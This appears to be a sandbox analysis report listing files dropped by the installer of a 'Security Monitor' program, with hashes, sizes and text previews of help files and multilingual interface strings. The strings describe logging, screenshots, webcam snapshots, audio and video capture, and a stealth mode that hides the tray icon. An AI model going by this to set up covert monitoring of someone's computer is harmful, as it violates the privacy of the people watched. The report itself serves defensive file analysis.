Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43450
Entropy (8bit):	5.051452976930654
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DKxwaOqBdLE0aWsaeyXH62lGFcaZl:BvrUneKD/IA9B
MD5:	843D629B19FC6C1C760CCCF79DCD8778
SHA1:	E1FD65A3F296C7F966AD9A3CA7C6C970127FCC04
SHA-256:	369458B9EAD9880E66B906332948AE38AEB74173BB24FEFD65B18438FECFCD23
SHA-512:	0C3E239B14888868A2F5FB95A7446E22460819B6DE4C2AE8C23C1E31C25D4FC4B9A04D861ED516A975A8397DB621BA517AB29606FBEAFBD70E7A6131D2604D58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42483
Entropy (8bit):	5.0516758116152145
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DqxxqAJ7iYH2qlyTU6Z/6A9r:BvrUneKDZIA9r
MD5:	4419419BD2ABBE30C63B730ADA875674
SHA1:	2946FB19C980B330C1B4719AE6F915520709D99D
SHA-256:	180D6187E16BE50A3649B861A5FB7580F0AE99E949FBE0EAC05FBB5B17BD6F99
SHA-512:	2656094851AFBF719ECC12DE1AAA73C2040DA4FCCD7B4AB4E0FB6130472E606C5F8010A1D58C6D015F5DD8A71DB7C6E14811229FF2360F3D26BFAC4E737CE6A5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43674
Entropy (8bit):	5.051136691912746
Encrypted:	false
SSDEEP:	768:Bwq6xdo1SeUGLicPI0QhhiLVptabQhOsWx2s2x7yjxsqoLq2IDSssDSsaD0iHw8V:BErUneKsyIA90
MD5:	03D5DC91896BD88D15D82608B85FA10A
SHA1:	741A620D22C4A157211C2972E53AF6C402E00036
SHA-256:	0EB740A746A33237558E99DA3599DE9DE975F7CE6C8988CE3E602C89E130BCFD
SHA-512:	5C211CC5A33A7590C5ECF2BCBE479A0EE1AD56CA300D136A752F6BF26CEEC2643825EDC3896550E21C436DB2B76AB895818BF4C9B3EF12E3E481374E322E37EB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42553
Entropy (8bit):	5.039163820303254
Encrypted:	false
SSDEEP:	768:qqOkDx1eVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DldDMomI6u5DumZ/6A9X:qqb5nIA9X
MD5:	34E55F7E9F1B2541BE0A17FB6871F9C9
SHA1:	C9E188BCC39C88251CE9CBBA13E20F7BCA48F89F
SHA-256:	B02273E5A9A45909D24B7349E45BE521B9421CB93CE1803BAE7B4FA317443376
SHA-512:	D2C86622CD0726F5A480D11A3734C742D82853467CF3C1FB36F9ADE0873227862E26C366B8DD1E45B8D48F6AF62BA22FCD2C4C8FEEEEC6740B290F3E814ED65D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-0SJ1D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17081
Entropy (8bit):	5.237330658373566
Encrypted:	false
SSDEEP:	384:fd+wUQhflYfUg7EXwoXy5Pt/5k9bS+RnNMvjxYay:fVli88Pt/ObVNsxYay
MD5:	665E034C26764DC99A3E8C8A9EDC54BB
SHA1:	4CBF034140A28CF6BBF436C13D718E588DCA20BD
SHA-256:	4E8BBFDEFB2414F62B84AB41831EBAC15E8D5571022B14FF697C6788D0A73068
SHA-512:	DE73A62A6930B91563D67DC38F14549269285A75E9B0C36285E455AE85D4A2FD423CCBE0095A489AC795EB6D97210CE2FCEC25322CF6A1EDDD5EB9A2085741A2
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Ba.la"..tbStartHint="G.nl.k tutmay. a."..tbStop="Durdur"..tbStopHint="G.nl.k tutmay. kapat"..tbFind="Bul"..tbFindHint="G.nl.k bilgisi ara"..tbSetting="Ayarlar"..tbSettingHint="Program ayarlar."..tbAbout="Hakk.nda"..tbAboutHint="Hakk.nda / kay.t bilgisi"..tbHomePage="Ana Sayfa"..tbHomePageHint="Program.n Ana Sayfas.na Git"..tbToday="Bug.n"..tbTodayHint="Bug.n.n g.nl...ne git"..tbHide="Gizle"..tbHideHint="Gizlilik modu (Sistem .ubu.unda hi. simge yok)"..tbMinimize="K...lt"..tbMinimizeHint="Simge Durumuna K...lt"..tbExit="..k"..tbExitHint="..k ve g.nl... durdur"..gbLog="Olay G.nl..."..tCurrLogSize="G.nl.k Boyutu (Mb)"..tCurrScrSize="Ekran Resmi Boyutu (Mb)"..tCurrSnpSize="Web Kameras.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-3TP1I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19337
Entropy (8bit):	5.025077721740106
Encrypted:	false
SSDEEP:	384:USTHedgI9UbHmTZCmfwoxKza62zxpZ6EV00azBKh:U0I2bH2kRKKzwxpZnj4Kh
MD5:	7EB33A9C085F56E0004E166D1702EEA1
SHA1:	C8C514993F866C3282F2E53C231E5961EE8E3B90
SHA-256:	F96F92DFCD7C119EBD998989312F009D9ABA9E5C3A5B7899A8DD146370F5AFC4
SHA-512:	BA7B7716AD33D71247CEE9CC8B630BBA9B948654D366A892D5F1471B4A5FAD908A774600E8577223FFC043D4BD620BFC4222D2CC833B2AD1DF13CF7ADA5A203E
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Erfassung aktivieren"..tbStop="Stop"..tbStopHint="Erfassung deaktivieren"..tbFind="Finden"..tbFindHint="Nach Protokoll Informationen suchen"..tbSetting="Einstellungen"..tbSettingHint="Programm Einstellungen"..tbAbout=".ber"..tbAboutHint=".ber/ Informationsinfo"..tbHomePage="Home Page"..tbHomePageHint="Gehen Sie zum Programm Home Page"..tbToday="Heute"..tbTodayHint="Gehen Sie zum heutigen Protokoll"..tbHide="Verstecken"..tbHideHint="Stelth Modus (Kein Icon im Systempfad)"..tbMinimize="Minimieren"..tbMinimizeHint="Auf Ablage minimieren"..tbExit="Ausgang"..tbExitHint="Ausgang und Protokollstopp"..gbLog="Vorgangsprotokoll"..tCurrLogSize="Protokollgr..e (Mb)"..tCurrScrSize="Screenshots Gr..e (Mb)"..tCur

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-F7B50.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	27393
Entropy (8bit):	5.064150437041318
Encrypted:	false
SSDEEP:	768:lBliK0GRTzXqMKGCYv/DOo8eKjHHhSvMonfGQ3R:8KLTz/4WCo8eaHhW7n+QB
MD5:	9087FB9892DDAA830650011299AF2670
SHA1:	FF023B1F38F5B7D093C4F2AAB3470B1575BFA806
SHA-256:	969FC0043D05C76A4FBD148A0087DB9768B62D1DA17212D11A50F0A4A77CCBFC
SHA-512:	D0A9F5FFA8752A01F04B2B61024575E270D53FF5D30180EB4C3FC70C2A5A3D7A794DBE7B596CEC08E0554514D4113C2EC218B3C6533F0B3B952148C46DB8781A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..##############################################################################..# ........! .. ....... ........ ..... ..... .. ..... "="!..##############################################################################..tbStart="....."..tbStartHint="...... ...... ......."..tbStop="...."..tbStopHint="......... ...... ......."..tbFind="....."..tbFindHint="..... .......... . ...."..tbSetting="........."..tbSettingHint="......... ........."..tbAbout=". ......"..tbAboutHint=". ......... / ............... .........."..tbHomePage=".. ...."..tbHomePageHint="....... ........ ........ ........."..tbToday="......."..tbTodayHint="....... . ............ ...."..tbHide="......"..tbHideHint="......... ..... (... ..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-H1SI6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19915
Entropy (8bit):	4.91205436276521
Encrypted:	false
SSDEEP:	384:URE/HLpJKNLC8/c0vrhUhdpZ/i7fTfHV8Vpx+M26iYi/pVF8g2EM2luoEJroH:Ue4L5c0dffTfHV8Vpx126PGcIMoH
MD5:	86FB78830003953DE6F23C5978938899
SHA1:	CD181B6DD4049697DD2E824DCABB57D9B21CCE0A
SHA-256:	0E132271314F42D37505EA9844E8EE102B9A0FC65946852BE8150CD088BB8357
SHA-512:	8862242298848BF0096B63F5F0FDDC70C446239910DD16F7B5AB604414CB6D10DFB636A7BC7AD1D66F33B6D88DCC08EE95F0B0B04E686E74E68FFBF9EC70C47A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=" Empec."..tbStartHint="Habilite el registro"..tbStop="Det.ngase"..tbStopHint="Desactive el registro"..tbFind="Encuentre"..tbFindHint="Busque la informaci.n del registro"..tbSetting="Ajustes"..tbSettingHint="Ajustes del programa"..tbAbout="Acerca de"..tbAboutHint="Acerca de / informaci.n de registro"..tbHomePage="P.gina Principal"..tbHomePageHint="Ir a la P.gina Principal del programa"..tbToday="Hoy"..tbTodayHint="Ir al registro de hoy"..tbHide="Oculte"..tbHideHint="El modo invisible (ninguno icono en la bandeja del sistema)"..tbMinimize="Minimice"..tbMinimizeHint="Minimizar a la bandeja"..tbExit="Salir"..tbExitHint="Salir y parada del registro"..gbLog="Registro de eventos"..tCurrLogSize="Tama.o del registro (Mb)"..tCu

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-JD3B3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20198
Entropy (8bit):	5.546409615191028
Encrypted:	false
SSDEEP:	384:UZbTxZJZoqbCXEgYNOZFnXzLlWQIrNacguCX:UBsFXz5W1NaOCX
MD5:	CBEC3F081899B6B55B280D8F3DD4B3D2
SHA1:	F340F12DD49A6F6D2E20999788430A6951E7950B
SHA-256:	95C2CF8B3687D4EE57D51E982684660264A443D0AE516F6144728AC0C77FFCE4
SHA-512:	F4C7027A5BEDBC2F6E44DA52F59B35FAC8A3657DB9796F9B8BE4B660D25083544597ED525EEADD2B9373325E3E6FD83BD9736BAA8E50187F5F8CCFF989D6A140
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="...."..tbStartHint=".........."..tbStop="...."..tbStopHint=".........."..tbFind="...."..tbFindHint="........."..tbSetting=".."..tbSettingHint="........"..tbAbout="...."..tbAboutHint=".... /...."..tbHomePage="......"..tbHomePageHint="................"..tbToday=".."..tbTodayHint="........"..tbHide=".."..tbHideHint="....... (..................)"..tbMinimize="....."..tbMinimizeHint="........."..tbExit=".."..tbExitHint=".........."..gbLog=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-KEH7S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	17468
Entropy (8bit):	4.879377232061119
Encrypted:	false
SSDEEP:	192:f9xAt+/MjlJ/5mOT3Y7hzjeJRz1QIGiGU/F6lDCDjY3qfTmXq6Cf3CxMprBarJKW:f9xAt+/YJRm7hzjqRzlXjUo7Qgo7c8DD
MD5:	C3930BE227C51A5887BFB0F6D8575548
SHA1:	D6A32283BC35FE18207EDAE4626D5D299CE50592
SHA-256:	E50FDC95BC49000FF5DC52A830925CEDF684B2F7100397BFB22D8D5430E920F0
SHA-512:	F42F25DAC17F0096CA2EA998E0B84A1A8CFFABAB5256C24DAAA1210F50DB43D903D481C64C98250EB7A5297684582D085540EA445F6E7156DBA3ADC42410AA57
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Enable logging"..tbStop="Stop"..tbStopHint="Disable logging"..tbFind="Find"..tbFindHint="Search for log information"..tbSetting="Settings"..tbSettingHint="Program settings"..tbAbout="About"..tbAboutHint="About / registration info"..tbHomePage="Home Page"..tbHomePageHint="Go to the Program Home Page"..tbToday="Today"..tbTodayHint="Go to todays log"..tbHide="Hide"..tbHideHint="Stealth mode (no icon in the System Tray)"..tbMinimize="Minimize"..tbMinimizeHint="Minimize to Tray"..tbExit="Exit"..tbExitHint="Exit and stop log"..gbLog="Event Log"..tCurrLogSize="Log Size (Mb)"..tCurrScrSize="Screenshots Size (Mb)"..tCurrSnpSize="Webcam Snapshots size (Mb)"..tCurrSoundsSize="Sound files size (Mb)"..tCurrVideosSize="W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-LQVAK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	21327
Entropy (8bit):	4.95775402864365
Encrypted:	false
SSDEEP:	384:UyK3wUGkRqqS7M2IgCEAIAiIYNwCPjuPTyySHaNM7lcomkn3J:UhgqSUdEpNw+jMTHS6eJ
MD5:	C61869FD95FCAA4887007EE40C1AEF78
SHA1:	5B2E9E425C48F37A3C6F2AFCFD35569BE240FB0C
SHA-256:	4EBE5322D84F71C59E806B8BD29D3C53D3FDA1C82238084FBAA8852DE668E14E
SHA-512:	815D5C77AF6F439D5FD3C254B6F1957537A30507D4BB40CB5ADB6FDC817D2389BD5B8D69F7AE67AF87C1F42B7A5799E0F82A0A3A0C543CFF46E72B74D867F9A8
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="..."..tbStartHint="..... ......."..tbStop="...."..tbStopHint="..... ......."..tbFind="....."..tbFindHint="..... .. ....... ......."..tbSetting="........."..tbSettingHint="....... ........"..tbAbout="..."..tbAboutHint=".../...... ......."..tbHomePage="...... ........"..tbHomePageHint="...... ... ...... ........"..tbToday="....."...tbTodayHint="...... ... ... ....."..tbHide="....."..tbHideHint="..... ..... (.. .... ... .. .... ......)"..tbMinimize="....."..tbMinimizeHint="..... ... ......"..tbExit="...."..tbExitH

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-T4VK4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15013
Entropy (8bit):	6.013025249187838
Encrypted:	false
SSDEEP:	192:9DL/YIoCnMY+innEvlPTgFQXU516bXHsFAp/JfloqJPeNKi:9DL/YIoCnMMnEpEXyb3cAtJfav
MD5:	98FE3D6DA49E6A81B5C6A5D5ABF2E69A
SHA1:	A90458B40E3559466180B29822E0E83CC3000632
SHA-256:	FB966B8124C5CEDCEC536B5DFE54168F7AA07DC9717D4099EA67A8DF72342F50
SHA-512:	EA826D7205C882B74D20A4A0499A2966F47BD88CE01326D55B105BAA267606FE0F5C20F995762CC5E320F1273E4C06B0E6840815F2E2601A59CF7F3B12B25372
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### ....... "=".......! ############..###############################################################################..tbStart=".."..tbStartHint="...."..tbStop=".."..tbStopHint="...."..tbFind=".."..tbFindHint="......"..tbSetting=".."..tbSettingHint="...."..tbAbout=".."..tbAboutHint=".. / ...."..tbHomePage=".."..tbHomePageHint="......"..tbToday=".."..tbTodayHint="......"..tbHide=".."..tbHideHint="................"..tbMinimize="..."..tbMinimizeHint="......"..tbExit=".."..tbExitHint="......."..gbLog="...."..tCurrLogSize="....(Mb)"..tCurrScrSize="......(Mb)"..tCurrSnpSize=".........(Mb)"..tCurrSoundsSize="...... (Mb)"..tCurrVideosSize=".

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-UIIES.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17281
Entropy (8bit):	5.761139641515786
Encrypted:	false
SSDEEP:	384:fA4WN9lOQy166uXz7tw7ROcW70cfgjqiK3xuaMV4Q:fAfy1LuntiROcWLNuaMVt
MD5:	BAF8BBC333EA4877FF98E6EC0437E18F
SHA1:	43FE338508BA6B1E59B5B0D21A641DEB4F887F82
SHA-256:	32CAC64ABA0B7BEC0C48D76CE6D6C3695E241173CAD408C4F2F220CB5AE6A87B
SHA-512:	5E2ED8A0DF57200E7FD2FF5F1F21041A3800AE92C66B550B91116D0E50685C3602467C738601D071049B1D3E74ED92DB2DAE5CE6D33F9776F8C2F62AA2E36C1E
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=".."..tbStartHint=".. .."..tbStop=".."..tbStopHint=".. ...."..tbFind=".."..tbFindHint=".. .. .."..tbSetting=".."..tbSettingHint=".... .."..tbAbout=".."..tbAboutHint=".. / .. .."..tbHomePage="...."..tbHomePageHint=".... ..... .."..tbToday=".."..tbTodayHint=".. ... .."..tbHide=".."..tbHideHint="... .. (... .... ... .. ..)"..tbMinimize="..."..tbMinimizeHint=".... ..."..tbExit=".."..tbExitHint=".... .. .."..gbLog="... .."..tCurrLogSize=".. .. (Mb)"..tCurrScrSize=".... .. (Mb)"..tCurrSnpSize=".. .

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-UPP80.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19350
Entropy (8bit):	4.977328299832863
Encrypted:	false
SSDEEP:	192:UfZj6oFtyWJJJuou35vzX6FcNnAy9+1C9ou8drw+MjKcEdQAi2jC+WUH:UfZj6oFtyWXRybX6Ad4C9q+pEdbvXx
MD5:	05104FA93BC4180DCD6752F77382F263
SHA1:	2A83710D4B63BF666D681D3F5E9C21324EB2581C
SHA-256:	A2150D0BBC660122C1C183FCA420CFAAE7539956F20BA135DEC4655B3B212A6E
SHA-512:	54ACDEAB94D389256C90FFB31934AE0182D7CB4F644CA671EE5F9599697357244B7F2F9CEA33D3CBE70463615389BF02E148818F99E9513DAF9A4D44B05913CD
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="In.cio"..tbStartHint="Habilitar registro"..tbStop="Parar"..tbStopHint="Desabilitar registro"..tbFind="Buscar"..tbFindHint="Procurar por informa..o de registro"..tbSetting="Configura..es"..tbSettingHint=" Configura..es de programa"..tbAbout="Sobre"..tbAboutHint="Sobre / informa..es de registro"..tbHomePage="P.gina Inicial"..tbHomePageHint="Ir para a P.gina Inicial do Programa"..tbToday="Hoje"..tbTodayHint="Ir para o registro de hoje"..tbHide="Ocultar"..tbHideHint="Modo Furtivo (nenhum .cone na Bandeja do Sistema)"..tbMinimize="Minimizar"..tbMinimizeHint="Minimizar Bandeja"..tbExit="Sair"..tbExitHint="Sair e parar o registro"..gbLog="Registro de Eventos"..tCurrLogSize="Tamanho do Log - Registro (Mb)"..tCurrScrSize=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-V01VP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20359
Entropy (8bit):	4.977393911384311
Encrypted:	false
SSDEEP:	384:Ui/yM5JVBb8Mc2MfcwNx0TiTtGNleNglf8sj1AzDqqSo:UFGYD+icNleNhcIGqd
MD5:	3115ABE2CF8075BB08D1B7EA95180E7E
SHA1:	752F7833223EDB298E903C9731E78A3109E026D3
SHA-256:	156C2CDE62ABF6D9289B85054F707FA8777A722EC2DDBC0615544A216E633133
SHA-512:	C5DE077A294349896E2D846808806AF67B9E29E7EC1358B763A8F66381F839983A4ADE4C751A8A36C84EE20E8ADD1E5F869759000F527284F4312D9803617BC3
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Commencez"..tbStartHint="Activez le journal de bord"..tbStop="Arr.tez "..tbStopHint="D.sactivez le journal de bord"..tbFind="Trouvez"..tbFindHint="Recherchez des informations dans le journal de bord"..tbSetting="Param.tres"..tbSettingHint="Les param.tres du programme"..tbAbout=". propos"..tbAboutHint=". propos / informations de journal de bord"..tbHomePage="Page d'accueil"..tbHomePageHint="Allez . la page d'accueil du programme"..tbToday="Aujourd'hui"..tbTodayHint="Allez dans journal de bord d.aujourd'hui"..tbHide="Masquez"..tbHideHint="Le mode furtif (pas d'ic.ne dans la zone de notification)"..tbMinimize="Minimisez"..tbMinimizeHint="Minimisez au magasin"..tbExit="Quittez"..tbExitHint=" Quittez et arr.tez le jour

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-V34TP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12536
Entropy (8bit):	4.8846461435532245
Encrypted:	false
SSDEEP:	384:UCTESqmmj063sRDYVLf0Xj/KgqYFP6ez7zUc4:UMmj93sRD80zDt4
MD5:	772446C6263F1055F474A1AE2EFF7A11
SHA1:	E3C521C7105C860D8139030D2363647821E593D7
SHA-256:	E346F5CE552A3E5216E2826D86C64135372B51EA74BF4DE468C442A43B1F3E63
